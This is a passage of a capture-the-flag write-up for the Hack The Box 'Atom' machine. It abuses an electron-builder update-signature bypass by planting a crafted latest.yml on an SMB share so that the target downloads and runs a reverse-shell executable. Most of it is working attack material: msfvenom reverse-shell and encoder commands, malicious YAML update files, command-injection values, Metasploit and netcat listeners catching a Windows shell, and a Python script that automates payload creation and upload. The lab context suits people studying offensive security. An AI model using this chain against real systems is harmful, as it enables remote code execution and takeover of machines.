  ..                                  D        0  Wed Apr 21 21:00:02 2021
  client1                             D        0  Wed Apr 21 21:00:02 2021
  client2                             D        0  Wed Apr 21 21:00:02 2021
  client3                             D        0  Wed Apr 21 21:00:02 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 12:18:08 2021

		4413951 blocks of size 4096. 1343700 blocks available
smb: \> cd client1
smb: \client1\> dir
  .                                   D        0  Wed Apr 21 21:00:43 2021
  ..                                  D        0  Wed Apr 21 21:00:43 2021

		4413951 blocks of size 4096. 1343670 blocks available
smb: \client1\> put "heedv1 Setup 1.0.1.exe"
putting file heedv1 Setup 1.0.1.exe as \client1\heedv1 Setup 1.0.1.exe (294.2 kb/s) (average 294.2 kb/s)

After a short wait, I didn’t get a hit on my handler. So I figured this was not the appropriate trigger mechanism.

I spent a bit of time here trying to analyse the .exe in Ghidra. This didn’t turn out to be necessary, and I eventually gave up on it - but 0xdf did some good reversing which would have made the upcoming CVE easier to find.

Exploiting Electron Builder

I took a closer look at the PDF. I did some googling around User Acceptance Testing, and found little in the way of an exploit.

Then I googled “electron-builder cve”. I found this article: https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html

It suggests a parsing error can lead to a malicious .exe being executed by electron. An example malicious update file is provided:

version: 1.2.3
files:
  - url: v’ulnerable-app-setup-1.2.3.exe
  sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
  size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'

And a command for generating a sha-512 hash:

$ shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64

Trying to Grab File from SMB

This format seems to suggest the .exe should already be on the server, the provided ‘URL’ is actually just a filename. However there’s no harm trying to make it download the file from our box first. Let’s rename our malicious .exe to contain a ':

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ mv heedv1\ Setup\ 1.0.1.exe "heedv1'Setup1.0.1.exe"

Then shasum it:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ shasum -a 512 heedv1\'Setup1.0.1.exe | cut -d " " -f1 | xxd -r -p | base64
0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9
U87FIbYrPw==

Then create a latest.yml file:

version: 1.0.1
files:
  - url: http://10.10.14.167/heedv1'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

Start a python server:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo python3 -m http.server 80
[sudo] password for mac: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Restart our listener:

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.167:9001 

And put the file:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password: 
Try "help" to get a list of possible commands.
smb: \> cd client1
smb: \client1\> dir
  .                                   D        0  Wed Apr 21 22:26:45 2021
  ..                                  D        0  Wed Apr 21 22:26:45 2021

		4413951 blocks of size 4096. 1340804 blocks available
smb: \client1\> put latest.yml 
putting file latest.yml as \client1\latest.yml (0.6 kb/s) (average 0.6 kb/s)

I didn’t immediately get a hit so I put to client2 and client3 for good measure, then waited a little while…

No luck. So instead, I modified latest.yml to grab a local file and put the .exe directly:

version: 1.0.1
files:
  - url: heedv1'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

And the put:

smb: \client1\> put heedv1'Setup1.0.1.exe
putting file heedv1'Setup1.0.1.exe as \client1\heedv1'Setup1.0.1.exe (287.1 kb/s) (average 287.1 kb/s)
smb: \client1\> put latest.yml 
putting file latest.yml as \client1\latest.yml (1.1 kb/s) (average 129.7 kb/s)

I suspect this maybe doesn’t work as it’s trying to access a file on the local file system, not on samba.

Trying Code Injection

The next option is to try a yaml with a code injection:

version: 1.0.1
files:
  - url: heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

I set up a tcpdump - see Testing a Connection for details.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

I put latest.yml one more time, and waited for a ping. However, I got nothing.

Debugging YAML Syntax

I spent a bit of time experimenting with various formats for the YAML. As always, you can skip to the working payload.

I tried looking at some electron-builder docs to see how the URL should be specified.

It seems this method is terribly documented, but googling “latest.yml url” I eventually found this issue which has an example of an absolute URL.

It’s unclear whether this feature was implemented, as the issue was closed without reference to a commit. This similar issue has the same.

However, both use a yaml without the files section, and no - before url. This comment suggests path can be used instead:

I tried this yaml first to see if the files section was the issue, but got no ping.

version: 1.0.1
path: heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

I tried this instead:

version: 1.0.1
path: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

This time I got some hits!

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo python3 -m http.server 80
[sudo] password for mac: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [22/Apr/2021 15:58:46] code 404, message File not found
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [22/Apr/2021 15:58:46] code 404, message File not found
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -
10.10.10.237 - - [22/Apr/2021 15:58:46] code 404, message File not found
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -

It looks like it’s also requesting a blockmap file. It also looks like all the client folders work, so I’ll only upload to one from now on.

I didn’t get any hits on my handler. So let’s re-add the file section to see if it helps:

version: 1.0.1
files:
  url: heedv1'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

I got rid of the hyphen as no one else used it, and instead set the “url” to be a relative path on the box.

However, I didn’t get a hit. I looked up the yaml syntax, and realised the issue might not be the presence of a hyphen, but the lack of hyphens on the other entries.

version: 1.0.1
files:
  - url: heedv1'Setup1.0.1.exe
  - sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  - size: 73802
path: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

This didn’t work either. My next idea was to try the payload that did land a hit, but using the command injection syntax instead:

version: 1.0.1
path: http://10.10.14.167/heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

I got a hit again, but no ping. I did try pinging myself with the following command:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ping -I tun0 localhost

The requests showed up on my listener, so that wasn’t the issue.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:37:26.871587 IP 10.10.14.167 > 127.0.0.1: ICMP echo request, id 60658, seq 1, length 64
16:37:27.874587 IP 10.10.14.167 > 127.0.0.1: ICMP echo request, id 60658, seq 2, length 64

Replicating Steps

I wanted to make this script easily replicable, as I came back to this box and my IP had changed. So I wrote a quick bash script:

echo "Getting tun0 IP..."
ip=$(ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
echo "$ip"

echo "Making payload..."
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$ip LPORT=9001 -b "\x00" -e x86/shikata_ga_nai -f exe -o "heedv1'Setup1.0.1.exe"

echo "Getting size of payload..."
size=$(stat -c%s "heedv1'Setup1.0.1.exe")
echo "$size" 

This just creates a payload with my tun0 IP and outputs the size. I would eventually code a full Python solution that also uploads the YAML, but I needed to fix the syntax before I wrote that.

Attempting to Fix YAML

I first wanted to try staying true to the original blog post and include a hyphen in front of the URL, which I hadn’t tried yet:

version: 1.0.1
files:
  - url: heedv1'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: http://10.10.14.193/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

This didn’t get a hit.

Then I wanted to try what I think is the correct YAML syntax according to the ansible docs, which is with no hyphens - but I want to include the full URL in the filepath:

version: 1.0.1
files:
  url: http://10.10.14.193/heedv1'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: http://10.10.14.193/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

This one got a download request!

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo python3 -m http.server 80
[sudo] password for mac: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [26/Apr/2021 21:15:00] code 404, message File not found
10.10.10.237 - - [26/Apr/2021 21:15:00] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [26/Apr/2021 21:15:00] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -

In fact, it got recurring download requests while the file sat in the samba server. So I was on the right track and had fixed the syntax - but still got no netcat hit.

I wondered if I needed to create a blockmap file. First, I tried one last attempt at a command injection:

version: 1.0.1
files:
  url: http://10.10.14.193/heedv1';ping -n 1 10.10.14.193;'Setup1.0.1.exe
  sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
  size: 73802
path: http://10.10.14.193/heedv1';ping -n 1 10.10.14.193;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'

But I got nothing.

I tried a couple more things here, including trying to upload a webshell into the /releases directory (in case files were placed there after being requested), but didn’t get anywhere with this strategy.

Automation

At this point I decided to automate the process in Python. I learned a lot from this process about proper use of argparse for building a script with command-line arguments. The code is available here.

You can read about the way I built the code, or you can read on for the final payload.

Final Payload

Automating the foothold allowed me to easily change my YAML structure and re-send the payload. This exposed a lot of frustrating things about the box.

Firstly, the box was very temperamental about whether or not it would request my file. It would often not ‘consume’ my latest.yml file - I maximised my chances by putting it to each of the three client folders.

The other frustration was that I eventually found the correct YAML syntax - but for a reason I am still unsure about, the filename I was using didn’t trigger the execution of the exe.

To fix it, I spent a lot of time verifying each step, such as checking the SHA sum. I eventually had to compare my YAML to a friend’s who had completed the box. He had the exact same syntax (and sequence of commands) but with a shorter filename. Changing my filename to match his gave me a shell. Read on for the details.

Testing

In my testing I returned to the simplest payload so far that got a hit (the second payload in Debugging YAML Syntax). I simplified both the msfvenom payload and filename - you can see it in my script below:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Make sure to start required listeners before continuing.
Run a netcat listener to catch your shell: nc -lnvp 9001
Run a Python Server to serve your shell in to-serve/: sudo python3 -m http.server 80
Press enter to continue once you've started your listeners...


=== Generating Payload ===

No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom
Running command: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.39 LPORT=9001 -f exe -o "to-serve/heed'Setup.exe"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: to-serve/heed'Setup.exe
Payload saved at: to-serve/heed'Setup.exe
Size: 73802
Base64-encoded SHA512-sum of payload: cC8htx18FMTlElNrNPuRrwu+ars1Cs05Qxg3HzXysT2Sr3iUAcmns/Gmw6llUC6lArTjXdygtNp7665Vh//0dA==

=== Generating YAML File ===

version: 2.0.9
path: http://10.10.14.39/heed'Setup.exe
sha512: cC8htx18FMTlElNrNPuRrwu+ars1Cs05Qxg3HzXysT2Sr3iUAcmns/Gmw6llUC6lArTjXdygtNp7665Vh//0dA==

YAML saved at to-serve/latest.yml

=== Uploading to SMB ===

Bytes uploaded to client1: 151
Bytes uploaded to client2: 0
Bytes uploaded to client3: 0

I was getting a hit and no shell:

10.10.10.237 - - [02/Jun/2021 15:53:19] code 404, message File not found
10.10.10.237 - - [02/Jun/2021 15:53:19] "GET /heed'Setup.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [02/Jun/2021 15:53:19] "GET /heed%27Setup.exe HTTP/1.1" 200 -


...[msfconsole]...

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ msfconsole -q
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > set payload windows/shell_reverse_tcp 
payload => windows/shell_reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.39:9001 

I fixed a couple of issues with my filepaths, then tried replicating my friend’s commands exactly. The only differences between mine and his were his use of port 443 (a mistake on my part, as Windows often only trusts well-known ports for reverse shells) and the filename. After changing my port and still not getting a shell, I changed my filename to h'eed:

And got a shell!

Final YAML

This was the final YAML I used:

version: 2.1.9
path: http://10.10.14.39/h'eed.exe
sha512: yZCEOg74ydXD0uguleSFIfA0OwPL3dh2Q5qM/m/DU5KN8/a0nr1CfMU2S+sIL/6Q/JsUtsJCOF3C3mUYk6X1Fg==

Which was represented in my Python script as:

yml_string = ("version: 2.1.9\n"
	"path: http://{ip}/{payload}\n"
	"sha512: {sha}"
	).format(ip=ip, payload=payload, sha=sum)

The equivalent bash commands are:

┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.39 LPORT=443 -f exe -o "h'eed.exe"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: h'eed.exe
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ shasum -a 512 "h'eed.exe" | cut -d " " -f1 | xxd -r -p | base64
8XliFRF177w/k3OL25064XatMPUicDT+DVuiKZYQJtYeGKqOKLDGrFyu90N+xfCm69y9bCPdulsj
xR/+7HjzbA==
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ nano latest.yml 

...[input the yaml here]...

┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password: 
Try "help" to get a list of possible commands.
smb: \> cd client1
smb: \client1\> put latest.yml 
putting file latest.yml as \client1\latest.yml (2.4 kb/s) (average 2.4 kb/s)

...[python server]...

┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ sudo python3 -m http.server 80
[sudo] password for mac: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [02/Jun/2021 20:36:07] code 404, message File not found
10.10.10.237 - - [02/Jun/2021 20:36:07] "GET /h'eed.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [02/Jun/2021 20:36:07] "GET /h%27eed.exe HTTP/1.1" 200 -

...[netcat listener]...

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo nc -lnvp 443
[sudo] password for mac: 
listening on [any] 443 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.10.237] 52783
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>


Automation

I did some Python scripting to make adjusting the payload easier. This was maybe more effort than it was worth, but a good learning exercise nonetheless.

argparse

I used the argparse library to process command line arguments:

def main():
    parser = argparse.ArgumentParser(prog="send-payload.py", description="Sends a payload to a vulnerable Electron Builder instance over SMB. If no port is provided, listens on port 9001 by default. No default option for IP address is specified.")

    #positional arguments
    parser.add_argument("ip", help="Target IP address")
    parser.add_argument("payload", help="Meterpreter payload to use")

    #named parameters/flags
    parser.add_argument("--lip", help="Local IP to listen on. Specify either this or --lint")
    parser.add_argument("--lint", help="Local interface to listen on. Specify either this or --lip")
    parser.add_argument("--lport", help="Local port to listen on. 9001 by default")

    args = parser.parse_args()

    for arg in vars(args):
        argval = getattr(args, arg)
        if argval is not None:
            print(arg + ": " + argval)

    #if args.lip is not None and args.lint is not None -  no need to check this, just take LIP first
    if args.lip is not None:
        ip = args.lip
        print("IP Address: " + ip)
    elif args.lint is not None:
        ip = get_ip(interface)
    else:
        print("You must provide one of --lip or --lint")
        sys.exit(1)

It now nicely handles arguments:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --help
usage: send-payload.py [-h] [--lip LIP] [--lint LINT] [--lport LPORT] ip payload

Sends a payload to a vulnerable Electron Builder instance over SMB. Parse IP address, Port and Payload from sys args

positional arguments:
  ip             Target IP address
  payload        Meterpreter payload to use

optional arguments:
  -h, --help     show this help message and exit
  --lip LIP      Local IP to listen on. Specify either this or --lint
  --lint LINT    Local interface to listen on. Specify either this or --lip
  --lport LPORT  Local port to listen on
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 123
usage: send-payload.py [-h] [--lip LIP] [--lint LINT] [--lport LPORT] ip payload
send-payload.py: error: the following arguments are required: payload
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 123 payload
ip: 123
payload: payload
You must provide one of --lip or --lint
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py a.b.c.d payload --lip w.x.y.z --lint eth0 --lport 9001
ip: a.b.c.d
payload: payload
lip: w.x.y.z
lint: eth0
lport: 9001
IP Address: w.x.y.z

msfvenom

I added a basic check for the serving directory:

#mkdir if doesn't exist
if args.dir is not None:
	path = args.dir
	dirpath = Path(args.dir)

	if not dirpath.is_dir():
		print("Directory not found - creating directory")
		dirpath.mkdir()

Here we see it working:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py a p --lip i --dir to-serve
IP Address: i
Directory not found - creating directory
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls -la
total 252
drwxr-xr-x  9 mac mac  4096 May 28 20:18  .
drwxr-xr-x 30 mac mac  4096 May 24 20:26  ..
drwxr-xr-x  2 mac mac  4096 May 28 20:18  to-serve

Now we can try appending the directory to our msfvenom command and see what the command will look like before running it:

def gen_payload(ip, port, payload, dir):
    """generate an msfvenom payload with given IP address and port"""

    cmd_str = 'msfvenom -a x86 --platform windows -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -e x86/shikata_ga_nai -f exe -o ' + dir + '"heedv1\'Setup1.0.1.exe"'

    print(cmd_str)
	
...[snip]...

def main():
    parser = argparse.ArgumentParser(prog="send-payload.py", description="Sends a payload to a vulnerable Electron Builder instance over SMB. If no port is provided, listens on port 9001 by default. No default option for IP address is specified.")

    ...[snip]...

    #parse arguments
    args = parser.parse_args()

    #default values
    path = ""
    port = "9001"
    payload = "windows/x64/shell_reverse_tcp"

    ...[snip]...

    #get port
    arg_port = args.lport
    if arg_port is not None:
        port = arg_port

    #mkdir if doesn't exist
    arg_path = args.dir
    if arg_path is not None:
        path = arg_path
        dirpath = Path(arg_path)

        if not dirpath.is_dir():
            print("Directory not found - creating directory")
            dirpath.mkdir()

    #get payload
    arg_payload = args.payload
    if arg_payload is not None:
        payload = arg_payload

    #generate shell payload
    gen_payload(ip, port, payload, path)

Output:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 10.10.10.237 --lint tun0 --dir to-serve
IP Address on interface tun0: 10.10.15.4
msfvenom -a x86 --platform windows -p windows/x64/shell_reverse_tcp LHOST=10.10.15.4 LPORT=9001 -e x86/shikata_ga_nai -f exe -o to-serve"heedv1'Setup1.0.1.exe"

Looks good! I tried passing this command to subprocess.run() and spent a bit of time tweaking the syntax, before settling on using call() with shell=True instead. This passes the command to bash and lets it interpret the arguments instead. This worked!

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 10.10.10.237 --lint tun0 --dir to-serve
IP Address on interface tun0: 10.10.15.4
Running command: msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.15.4 LPORT=9001 -e x86/shikata_ga_nai -f exe -o "to-serve/heedv1'Setup1.0.1.exe"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: to-serve/heedv1'Setup1.0.1.exe
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls to-serve/
"heedv1'Setup1.0.1.exe"

Getting Size of Payload

I initially tried using subprocess to get the file size, but it caused some issues with automatically escaping the \ and ' characters in the string (whatever combination I used).

payload_path = '"' + path + 'heedv1\'Setup1.0.1.exe"'
print("Payload saved at: " + payload_path)

#get size of payload
size = subprocess.call('stat -c%s ' + payload_path)
print("Size: " + str(size))

I decided to use os.path.getsize() instead:

#get size of payload
size = os.path.getsize(Path(payload_path))
print("Size: " + str(size))

Which seemed to work:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Running command: msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.14.39 LPORT=9001 -e x86/shikata_ga_nai -f exe -o "to-serve/heedv1'Setup1.0.1.exe"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: to-serve/heedv1'Setup1.0.1.exe
Payload saved at: to-serve/heedv1'Setup1.0.1.exe
Size: 73802

I verified that the output of the stat command is the same:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ stat -c%s "to-serve/heedv1'Setup1.0.1.exe"
73802

Awesome.

Allowing Payload Reuse

I wanted to add a feature to use an existing payload rather than generating it each time. First, check the payload is provided:

parser.add_argument("-p", "--payload", help="The path to an existing payload. Specify this if you don't want to generate one with msfvenom", dest="payload")

...

if args.payload is not None:
        payload_path = Path(args.payload)

        print("Payload Path: " + payload_path)

And generate with msfvenom if not:

#get payload options, taking --payload as priority over --msf_payload if both provided
    if args.payload is not None:
        payload_path = Path(args.payload)

        print("Payload Path: " + payload_path)

    else:
        if args.msf_payload is not None:
            #get payload to use with msfvenom
            msf_payload = args.msf_payload

            print("Using payload " + str(msf_payload) + " with msfvenom")
        
        else:
            #default payload
            msf_payload = "windows/shell_reverse_tcp"

            print("No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom")

        #generate shell payload
        gen_payload(ip, port, msf_payload, path)

        payload_path = path + "heedv1'Setup1.0.1.exe"
        print("Payload saved at: " + payload_path)

Now we can run following:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve -p "to-serve/heedv1'Setup1.0.1.exe" 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Payload Path: to-serve/heedv1'Setup1.0.1.exe
Size: 73802

Hashing

I added the hashing:

def gen_checksum(filepath):
    """generate a sha512 hash of the file and base64 encode it"""

    #set a buffer size to hash in chunks
    BUF_SIZE = 65536

    sha512 = hashlib.sha512()

    with open(filepath, 'rb') as f:
        while True:
            data = f.read(BUF_SIZE)
            if not data:
                break
            sha512.update(data)

    b64 = base64.b64encode(sha512.digest()).decode('utf-8')

    print("Base64-encoded SHA512-sum of payload: " + b64)

    return b64

And verified the SHAs are the same:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve -p "to-serve/heedv1'Setup1.0.1.exe" 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Payload Path: to-serve/heedv1'Setup1.0.1.exe
Size: 73802
GuCsEdujwJSyKwiLFFnDCE52cmLvXVgvjE0YyOap0Siwv4GFg1dRE+6PKF7wG7+UFeGZYKHQ2lOSf74qsXd+6A==
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ shasum -a 512 "to-serve/heedv1'Setup1.0.1.exe" | cut -d " " -f1 | xxd -r -p | base64
GuCsEdujwJSyKwiLFFnDCE52cmLvXVgvjE0YyOap0Siwv4GFg1dRE+6PKF7wG7+UFeGZYKHQ2lOS
f74qsXd+6A==

YAML

Putting it together in a YAML:

def gen_yaml(ip, payload, size, sum, dir):

    print("\n=== Generating YAML File ===\n")

    yml_string = ("version: 1.0.1\n"
        "files:\n"
        "  url: http://{ip}/{payload}\n"
        "  sha512: {sha}\n"
        "  size: {size}\n"
        "path: {payload}\n"
        "sha512: {sha}\n"
        "releaseDate: '2021-04-21T11:17:02.627Z'"
        ).format(ip=ip, payload=payload, sha=sum, size=size)
    
    print(yml_string)

    yml_path = dir + "/latest.yml"

    with open(yml_path, 'a') as f:
        f.write(yml_string)
        f.close()

    print("YAML saved at " + yml_path)

    return yml_path

We can run it and show the file is saved:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve -p "to-serve/heedv1'Setup1.0.1.exe" 10.10.10.237
IP Address on interface tun0: 10.10.14.39

=== Generating Payload ===

Payload Path: to-serve/heedv1'Setup1.0.1.exe
Size: 73802
